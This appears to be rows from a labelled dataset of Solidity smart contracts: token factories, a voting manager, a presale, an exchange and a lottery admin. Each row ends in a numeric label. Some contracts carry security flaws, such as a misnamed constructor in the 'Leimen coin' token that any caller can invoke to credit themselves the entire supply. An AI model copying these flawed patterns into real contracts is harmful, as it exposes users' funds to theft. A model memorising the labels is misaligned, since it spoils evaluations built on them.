contract MiniMeTokenFactory {
function createCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (MiniMeToken) {
MiniMeToken newToken = new MiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract DestructibleMiniMeToken is MiniMeToken {
address terminator;
function DestructibleMiniMeToken(
address _tokenFactory,
address _parentToken,
uint _parentSnapShotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled,
address _terminator
) public MiniMeToken(
_tokenFactory,
_parentToken,
_parentSnapShotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled
) {
terminator = _terminator;
}
function recycle() public {
require(msg.sender == terminator);
selfdestruct(terminator);
}
}
contract DestructibleMiniMeTokenFactory {
function createDestructibleCloneToken(
address _parentToken,
uint _snapshotBlock,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol,
bool _transfersEnabled
) public returns (DestructibleMiniMeToken) {
DestructibleMiniMeToken newToken = new DestructibleMiniMeToken(
this,
_parentToken,
_snapshotBlock,
_tokenName,
_decimalUnits,
_tokenSymbol,
_transfersEnabled,
msg.sender
);
newToken.changeController(msg.sender);
return newToken;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract TokenListingManager is Ownable {
address constant NECTAR_TOKEN = 0xCc80C051057B774cD75067Dc48f8987C4Eb97A5e;
address constant TOKEN_FACTORY = 0x6EB97237B8bc26E8057793200207bB0a2A83C347;
uint constant VOTING_DURATION = 14;
struct TokenProposal {
address[15] consideredTokens;
uint startBlock;
uint startTime;
uint duration;
address votingToken;
uint[15] yesVotes;
}
TokenProposal[] tokenBatches;
DestructibleMiniMeTokenFactory public tokenFactory;
address nectarToken;
mapping(address => bool) admins;
modifier onlyAdmins() {
require(isAdmin(msg.sender));
_;
}
function TokenListingManager() public {
tokenFactory = DestructibleMiniMeTokenFactory(TOKEN_FACTORY);
nectarToken = NECTAR_TOKEN;
admins[msg.sender] = true;
}
function startTokenVotes(address[15] tokens) public onlyAdmins {
uint _proposalId = tokenBatches.length;
if(_proposalId > 0) {
TokenProposal memory op = tokenBatches[_proposalId - 1];
DestructibleMiniMeToken(op.votingToken).recycle();
}
tokenBatches.length++;
TokenProposal storage p = tokenBatches[_proposalId];
p.duration = VOTING_DURATION * (1 days);
p.consideredTokens = tokens;
p.votingToken = tokenFactory.createDestructibleCloneToken(
nectarToken,
getBlockNumber(),
appendUintToString("EfxTokenVotes-", _proposalId),
MiniMeToken(nectarToken).decimals(),
appendUintToString("EfxTokenVotes-", _proposalId),
true);
p.startTime = now;
p.startBlock = getBlockNumber();
emit NewTokens(_proposalId);
}
function vote(uint _tokenIndex) public {
require(tokenBatches.length > 0);
uint _proposalId = tokenBatches.length - 1;
require(_tokenIndex < 15);
TokenProposal memory p = tokenBatches[_proposalId];
require(now < p.startTime + p.duration);
uint amount = DestructibleMiniMeToken(p.votingToken).balanceOf(msg.sender);
require(amount > 0);
require(DestructibleMiniMeToken(p.votingToken).transferFrom(msg.sender, address(this), amount));
tokenBatches[_proposalId].yesVotes[_tokenIndex] += amount;
emit Vote(_proposalId, msg.sender, tokenBatches[_proposalId].consideredTokens[_tokenIndex], amount);
}
function addAdmin(address _newAdmin) public onlyAdmins {
admins[_newAdmin] = true;
}
function removeAdmin(address _admin) public onlyOwner {
admins[_admin] = false;
}
function proposal(uint _proposalId) public view returns(
uint _startBlock,
uint _startTime,
uint _duration,
bool _active,
bool _finalized,
uint[15] _votes,
address[15] _tokens,
address _votingToken,
bool _hasBalance
) {
require(_proposalId < tokenBatches.length);
TokenProposal memory p = tokenBatches[_proposalId];
_startBlock = p.startBlock;
_startTime = p.startTime;
_duration = p.duration;
_finalized = (_startTime+_duration < now);
_active = !_finalized && (p.startBlock < getBlockNumber());
_votes = p.yesVotes;
_tokens = p.consideredTokens;
_votingToken = p.votingToken;
_hasBalance = (p.votingToken == 0x0) ? false : (DestructibleMiniMeToken(p.votingToken).balanceOf(msg.sender) > 0);
}
function appendUintToString(string inStr, uint v) private pure returns (string str) {
uint maxlength = 100;
bytes memory reversed = new bytes(maxlength);
uint i = 0;
if (v==0) {
reversed[i++] = byte(48);
} else {
while (v != 0) {
uint remainder = v % 10;
v = v / 10;
reversed[i++] = byte(48 + remainder);
}
}
bytes memory inStrb = bytes(inStr);
bytes memory s = new bytes(inStrb.length + i);
uint j;
for (j = 0; j < inStrb.length; j++) {
s[j] = inStrb[j];
}
for (j = 0; j < i; j++) {
s[j + inStrb.length] = reversed[i - 1 - j];
}
str = string(s);
}
function isAdmin(address _admin) public view returns(bool) {
return admins[_admin];
}
function proxyPayment(address ) public payable returns(bool) {
return false;
}
function onTransfer(address , address , uint ) public pure returns(bool) {
return true;
}
function onApprove(address , address , uint ) public pure returns(bool) {
return true;
}
function getBlockNumber() internal constant returns (uint) {
return block.number;
}
event Vote(uint indexed idProposal, address indexed _voter, address chosenToken, uint amount);
event NewTokens(uint indexed idProposal);
}
| 1 | 4,075 |
pragma solidity ^0.4.18;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping(address => mapping(address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function _burn(address _burner, uint256 _value) internal {
require(_value <= balances[_burner]);
balances[_burner] = balances[_burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(_burner, _value);
Transfer(_burner, address(0), _value);
}
}
contract DividendPayoutToken is BurnableToken, MintableToken {
mapping(address => uint256) public dividendPayments;
uint256 public totalDividendPayments;
function increaseDividendPayments(address _investor, uint256 _amount) onlyOwner public {
dividendPayments[_investor] = dividendPayments[_investor].add(_amount);
totalDividendPayments = totalDividendPayments.add(_amount);
}
function transfer(address _to, uint256 _value) public returns (bool) {
uint256 oldBalanceFrom = balances[msg.sender];
bool isTransferred = super.transfer(_to, _value);
uint256 transferredClaims = dividendPayments[msg.sender].mul(_value).div(oldBalanceFrom);
dividendPayments[msg.sender] = dividendPayments[msg.sender].sub(transferredClaims);
dividendPayments[_to] = dividendPayments[_to].add(transferredClaims);
return isTransferred;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
uint256 oldBalanceFrom = balances[_from];
bool isTransferred = super.transferFrom(_from, _to, _value);
uint256 transferredClaims = dividendPayments[_from].mul(_value).div(oldBalanceFrom);
dividendPayments[_from] = dividendPayments[_from].sub(transferredClaims);
dividendPayments[_to] = dividendPayments[_to].add(transferredClaims);
return isTransferred;
}
function burn() public {
address burner = msg.sender;
uint256 oldBalance = balances[burner];
super._burn(burner, oldBalance);
uint256 burnedClaims = dividendPayments[burner];
dividendPayments[burner] = dividendPayments[burner].sub(burnedClaims);
totalDividendPayments = totalDividendPayments.sub(burnedClaims);
SaleInterface(owner).refund(burner);
}
}
contract RicoToken is DividendPayoutToken {
string public constant name = "Rico";
string public constant symbol = "Rico";
uint8 public constant decimals = 18;
}
contract SaleInterface {
function refund(address _to) public;
}
contract ReentrancyGuard {
bool private reentrancy_lock = false;
modifier nonReentrant() {
require(!reentrancy_lock);
reentrancy_lock = true;
_;
reentrancy_lock = false;
}
}
contract PreSale is Ownable, ReentrancyGuard {
using SafeMath for uint256;
RicoToken public token;
address tokenContractAddress;
uint256 public startTime;
uint256 public endTime;
address public wallet;
uint256 public rate;
uint256 public minimumInvest;
uint256 public softCap;
uint256 public hardCap;
mapping(address => uint) public balances;
uint256 public weiRaised;
uint256 bonusPercent;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function PreSale(
address _token) public
{
startTime = 1525251600;
endTime = startTime + 60 minutes;
wallet = 0x2c9660f30B65dbBfd6540d252f6Fa07B5854a40f;
token = RicoToken(_token);
tokenContractAddress = _token;
minimumInvest = 1000000000000;
rate = 1000;
softCap = 150 * 0.000001 ether;
hardCap = 1500 * 0.000001 ether;
bonusPercent = 50;
}
modifier saleIsOn() {
bool withinPeriod = now >= startTime && now <= endTime;
require(withinPeriod);
_;
}
modifier isUnderHardCap() {
require(weiRaised < hardCap);
_;
}
modifier refundAllowed() {
require(weiRaised < softCap && now > endTime);
_;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
function refund(address _to) public refundAllowed {
require(msg.sender == tokenContractAddress);
uint256 valueToReturn = balances[_to];
balances[_to] = 0;
weiRaised = weiRaised.sub(valueToReturn);
_to.transfer(valueToReturn);
}
function getTokenAmount(uint256 _value) internal view returns (uint256) {
return _value.mul(rate);
}
function forwardFunds(uint256 _value) internal {
wallet.transfer(_value);
}
function finishPreSale() public onlyOwner {
require(weiRaised >= softCap);
require(weiRaised >= hardCap || now > endTime);
if (now < endTime) {
endTime = now;
}
forwardFunds(this.balance);
token.transferOwnership(owner);
}
function changeTokenOwner() public onlyOwner {
require(now > endTime && weiRaised < softCap);
token.transferOwnership(owner);
}
function buyTokens(address _beneficiary) saleIsOn isUnderHardCap nonReentrant public payable {
require(_beneficiary != address(0));
require(msg.value >= minimumInvest);
uint256 weiAmount = msg.value;
uint256 tokens = getTokenAmount(weiAmount);
tokens = tokens.add(tokens.mul(bonusPercent).div(100));
token.mint(_beneficiary, tokens);
weiRaised = weiRaised.add(weiAmount);
balances[_beneficiary] = balances[_beneficiary].add(weiAmount);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
}
function() external payable {
buyTokens(msg.sender);
}
}
| 1 | 4,015 |
pragma solidity ^0.4.24;
contract owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract x32323 is owned{
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
event Transfer(address indexed from, address indexed to, uint256 value);
function freezeAccount(address target, bool freeze) onlyOwner {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
string public name;
string public symbol;
uint8 public decimals = 2;
uint256 public totalSupply;
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = 1000000000 * 100 ;
balanceOf[msg.sender] = totalSupply ;
name = "Leimen coin";
symbol = "Lem";
}
uint256 minBalance ;
uint256 price ;
bool stopped ;
bool selling;
function set_prices(uint256 price_wei) onlyOwner {
price = price_wei ;
}
function withdrawal_Lem(uint256 amount) onlyOwner {
require(balanceOf[this] >= amount) ;
balanceOf[this] -= amount ;
balanceOf[msg.sender] += amount ;
}
function withdrawal_Eth(uint amount_wei) onlyOwner {
msg.sender.transfer(amount_wei) ;
}
function set_Name(string _name) onlyOwner {
name = _name;
}
function set_symbol(string _symbol) onlyOwner {
symbol = _symbol;
}
function set_sell(bool _selling) onlyOwner {
selling = _selling;
}
function stop() onlyOwner {
stopped = true;
}
function start() onlyOwner {
stopped = false;
}
function _transfer(address _from, address _to, uint _value) internal {
require(!frozenAccount[_from]);
require(!stopped);
require(_to != 0x0);
require(_value >= 0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function () payable {
buy();
}
function buy() payable returns (uint amount){
require(price != 0);
require(selling);
amount = msg.value / price * 100 ;
require(balanceOf[this] > amount);
balanceOf[msg.sender] += amount;
balanceOf[this] -= amount;
Transfer(this, msg.sender, amount);
return amount;
}
}
| 1 | 2,445 |
pragma solidity ^0.4.24;
interface ERC20_Interface {
function totalSupply() external constant returns (uint);
function balanceOf(address _owner) external constant returns (uint);
function transfer(address _to, uint _amount) external returns (bool);
function transferFrom(address _from, address _to, uint _amount) external returns (bool);
function approve(address _spender, uint _amount) external returns (bool);
function allowance(address _owner, address _spender) external constant returns (uint);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function min(uint a, uint b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract Exchange{
using SafeMath for uint256;
struct Order {
address maker;
uint price;
uint amount;
address asset;
}
struct ListAsset {
uint price;
uint amount;
bool isLong;
}
uint internal order_nonce;
address public owner;
address[] public openDdaListAssets;
address[] public openBooks;
mapping (address => uint) public openDdaListIndex;
mapping(address => mapping (address => uint)) public totalListed;
mapping(address => ListAsset) public listOfAssets;
mapping(uint256 => Order) public orders;
mapping(address => uint256[]) public forSale;
mapping(uint256 => uint256) internal forSaleIndex;
mapping (address => uint) internal openBookIndex;
mapping(address => uint[]) public userOrders;
mapping(uint => uint) internal userOrderIndex;
mapping(address => bool) internal blacklist;
event ListDDA(address _token, uint256 _amount, uint256 _price,bool _isLong);
event BuyDDA(address _token,address _sender, uint256 _amount, uint256 _price);
event UnlistDDA(address _token);
event OrderPlaced(uint _orderID, address _sender,address _token, uint256 _amount, uint256 _price);
event Sale(uint _orderID,address _sender,address _token, uint256 _amount, uint256 _price);
event OrderRemoved(uint _orderID,address _sender,address _token, uint256 _amount, uint256 _price);
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public{
owner = msg.sender;
openBooks.push(address(0));
order_nonce = 1;
}
function list(address _tokenadd, uint256 _amount, uint256 _price) external {
require(blacklist[msg.sender] == false);
require(_price > 0);
ERC20_Interface token = ERC20_Interface(_tokenadd);
require(totalListed[msg.sender][_tokenadd] + _amount <= token.allowance(msg.sender,address(this)));
if(forSale[_tokenadd].length == 0){
forSale[_tokenadd].push(0);
}
forSaleIndex[order_nonce] = forSale[_tokenadd].length;
forSale[_tokenadd].push(order_nonce);
orders[order_nonce] = Order({
maker: msg.sender,
asset: _tokenadd,
price: _price,
amount:_amount
});
emit OrderPlaced(order_nonce,msg.sender,_tokenadd,_amount,_price);
if(openBookIndex[_tokenadd] == 0 ){
openBookIndex[_tokenadd] = openBooks.length;
openBooks.push(_tokenadd);
}
userOrderIndex[order_nonce] = userOrders[msg.sender].length;
userOrders[msg.sender].push(order_nonce);
totalListed[msg.sender][_tokenadd] += _amount;
order_nonce += 1;
}
function listDda(address _asset, uint256 _amount, uint256 _price, bool _isLong) public onlyOwner() {
require(blacklist[msg.sender] == false);
ListAsset storage listing = listOfAssets[_asset];
listing.price = _price;
listing.amount= _amount;
listing.isLong= _isLong;
openDdaListIndex[_asset] = openDdaListAssets.length;
openDdaListAssets.push(_asset);
emit ListDDA(_asset,_amount,_price,_isLong);
}
function unlistDda(address _asset) public onlyOwner() {
require(blacklist[msg.sender] == false);
uint256 indexToDelete;
uint256 lastAcctIndex;
address lastAdd;
ListAsset storage listing = listOfAssets[_asset];
listing.price = 0;
listing.amount= 0;
listing.isLong= false;
indexToDelete = openDdaListIndex[_asset];
lastAcctIndex = openDdaListAssets.length.sub(1);
lastAdd = openDdaListAssets[lastAcctIndex];
openDdaListAssets[indexToDelete]=lastAdd;
openDdaListIndex[lastAdd]= indexToDelete;
openDdaListAssets.length--;
openDdaListIndex[_asset] = 0;
emit UnlistDDA(_asset);
}
function buyPerUnit(address _asset, uint256 _amount) external payable {
require(blacklist[msg.sender] == false);
ListAsset storage listing = listOfAssets[_asset];
require(_amount <= listing.amount);
uint totalPrice = _amount.mul(listing.price);
require(msg.value == totalPrice);
ERC20_Interface token = ERC20_Interface(_asset);
if(token.allowance(owner,address(this)) >= _amount){
assert(token.transferFrom(owner,msg.sender, _amount));
owner.transfer(totalPrice);
listing.amount= listing.amount.sub(_amount);
}
emit BuyDDA(_asset,msg.sender,_amount,totalPrice);
}
function unlist(uint256 _orderId) external{
require(forSaleIndex[_orderId] > 0);
Order memory _order = orders[_orderId];
require(msg.sender== _order.maker || msg.sender == owner);
unLister(_orderId,_order);
emit OrderRemoved(_orderId,msg.sender,_order.asset,_order.amount,_order.price);
}
function buy(uint256 _orderId) external payable {
Order memory _order = orders[_orderId];
require(_order.price != 0 && _order.maker != address(0) && _order.asset != address(0) && _order.amount != 0);
require(msg.value == _order.price);
require(blacklist[msg.sender] == false);
address maker = _order.maker;
ERC20_Interface token = ERC20_Interface(_order.asset);
if(token.allowance(_order.maker,address(this)) >= _order.amount){
assert(token.transferFrom(_order.maker,msg.sender, _order.amount));
maker.transfer(_order.price);
}
unLister(_orderId,_order);
emit Sale(_orderId,msg.sender,_order.asset,_order.amount,_order.price);
}
function getOrder(uint256 _orderId) external view returns(address,uint,uint,address){
Order storage _order = orders[_orderId];
return (_order.maker,_order.price,_order.amount,_order.asset);
}
function setOwner(address _owner) public onlyOwner() {
owner = _owner;
}
function blacklistParty(address _address, bool _motion) public onlyOwner() {
blacklist[_address] = _motion;
}
function isBlacklist(address _address) public view returns(bool) {
return blacklist[_address];
}
function getOrderCount(address _token) public constant returns(uint) {
return forSale[_token].length;
}
function getBookCount() public constant returns(uint) {
return openBooks.length;
}
function getOrders(address _token) public constant returns(uint[]) {
return forSale[_token];
}
function getUserOrders(address _user) public constant returns(uint[]) {
return userOrders[_user];
}
function getopenDdaListAssets() view public returns (address[]){
return openDdaListAssets;
}
function getDdaListAssetInfo(address _assetAddress) public view returns(uint, uint, bool){
return(listOfAssets[_assetAddress].price,listOfAssets[_assetAddress].amount,listOfAssets[_assetAddress].isLong);
}
function getTotalListed(address _owner, address _asset) public view returns (uint) {
return totalListed[_owner][_asset];
}
function unLister(uint256 _orderId, Order _order) internal{
uint256 tokenIndex;
uint256 lastTokenIndex;
address lastAdd;
uint256 lastToken;
totalListed[_order.maker][_order.asset] -= _order.amount;
if(forSale[_order.asset].length == 2){
tokenIndex = openBookIndex[_order.asset];
lastTokenIndex = openBooks.length.sub(1);
lastAdd = openBooks[lastTokenIndex];
openBooks[tokenIndex] = lastAdd;
openBookIndex[lastAdd] = tokenIndex;
openBooks.length--;
openBookIndex[_order.asset] = 0;
forSale[_order.asset].length -= 2;
}
else{
tokenIndex = forSaleIndex[_orderId];
lastTokenIndex = forSale[_order.asset].length.sub(1);
lastToken = forSale[_order.asset][lastTokenIndex];
forSale[_order.asset][tokenIndex] = lastToken;
forSaleIndex[lastToken] = tokenIndex;
forSale[_order.asset].length--;
}
forSaleIndex[_orderId] = 0;
orders[_orderId] = Order({
maker: address(0),
price: 0,
amount:0,
asset: address(0)
});
if(userOrders[_order.maker].length > 1){
tokenIndex = userOrderIndex[_orderId];
lastTokenIndex = userOrders[_order.maker].length.sub(1);
lastToken = userOrders[_order.maker][lastTokenIndex];
userOrders[_order.maker][tokenIndex] = lastToken;
userOrderIndex[lastToken] = tokenIndex;
}
userOrders[_order.maker].length--;
userOrderIndex[_orderId] = 0;
}
}
| 1 | 2,982 |
pragma solidity ^0.4.13;
contract EthereumLottery {
function admin() constant returns (address);
function needsInitialization() constant returns (bool);
function initLottery(uint _jackpot, uint _numTickets,
uint _ticketPrice, int _durationInBlocks) payable;
function needsFinalization() constant returns (bool);
function finalizeLottery(uint _steps);
}
contract LotteryAdmin {
address public owner;
address public admin;
address public proposedOwner;
address public ethereumLottery;
uint public dailyAdminAllowance;
uint public maximumAdminBalance;
uint public maximumJackpot;
int public minimumDurationInBlocks;
uint public lastAllowancePaymentTimestamp;
uint public nextProfile;
event Deposit(address indexed _from, uint _value);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyAdminOrOwner {
require(msg.sender == owner || msg.sender == admin);
_;
}
function LotteryAdmin(address _ethereumLottery) {
owner = msg.sender;
admin = msg.sender;
ethereumLottery = _ethereumLottery;
dailyAdminAllowance = 50 finney;
maximumAdminBalance = 1 ether;
maximumJackpot = 100 ether;
minimumDurationInBlocks = 60;
}
function () payable {
Deposit(msg.sender, msg.value);
}
function needsAllowancePayment() constant returns (bool) {
return now - lastAllowancePaymentTimestamp >= 24 hours &&
admin.balance < maximumAdminBalance;
}
function needsAdministration() constant returns (bool) {
if (EthereumLottery(ethereumLottery).admin() != address(this)) {
return false;
}
return needsAllowancePayment() ||
EthereumLottery(ethereumLottery).needsFinalization();
}
function administrate(uint _steps) onlyAdminOrOwner {
if (needsAllowancePayment()) {
lastAllowancePaymentTimestamp = now;
admin.transfer(dailyAdminAllowance);
} else {
EthereumLottery(ethereumLottery).finalizeLottery(_steps);
}
}
function needsInitialization() constant returns (bool) {
if (EthereumLottery(ethereumLottery).admin() != address(this)) {
return false;
}
return EthereumLottery(ethereumLottery).needsInitialization();
}
function initLottery(uint _nextProfile,
uint _jackpot, uint _numTickets,
uint _ticketPrice, int _durationInBlocks)
onlyAdminOrOwner {
require(_jackpot <= maximumJackpot);
require(_durationInBlocks >= minimumDurationInBlocks);
nextProfile = _nextProfile;
EthereumLottery(ethereumLottery).initLottery.value(_jackpot)(
_jackpot, _numTickets, _ticketPrice, _durationInBlocks);
}
function withdraw(uint _value) onlyOwner {
owner.transfer(_value);
}
function setConfiguration(uint _dailyAdminAllowance,
uint _maximumAdminBalance,
uint _maximumJackpot,
int _minimumDurationInBlocks)
onlyOwner {
dailyAdminAllowance = _dailyAdminAllowance;
maximumAdminBalance = _maximumAdminBalance;
maximumJackpot = _maximumJackpot;
minimumDurationInBlocks = _minimumDurationInBlocks;
}
function setLottery(address _ethereumLottery) onlyOwner {
ethereumLottery = _ethereumLottery;
}
function setAdmin(address _admin) onlyOwner {
admin = _admin;
}
function proposeOwner(address _owner) onlyOwner {
proposedOwner = _owner;
}
function acceptOwnership() {
require(proposedOwner != 0);
require(msg.sender == proposedOwner);
owner = proposedOwner;
}
function destruct() onlyOwner {
selfdestruct(owner);
}
}
| 0 | 1,209 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract TokenDestructible is Ownable {
constructor() public payable { }
function destroy(address[] _tokens) public onlyOwner {
for (uint256 i = 0; i < _tokens.length; i++) {
ERC20Basic token = ERC20Basic(_tokens[i]);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
}
selfdestruct(owner);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
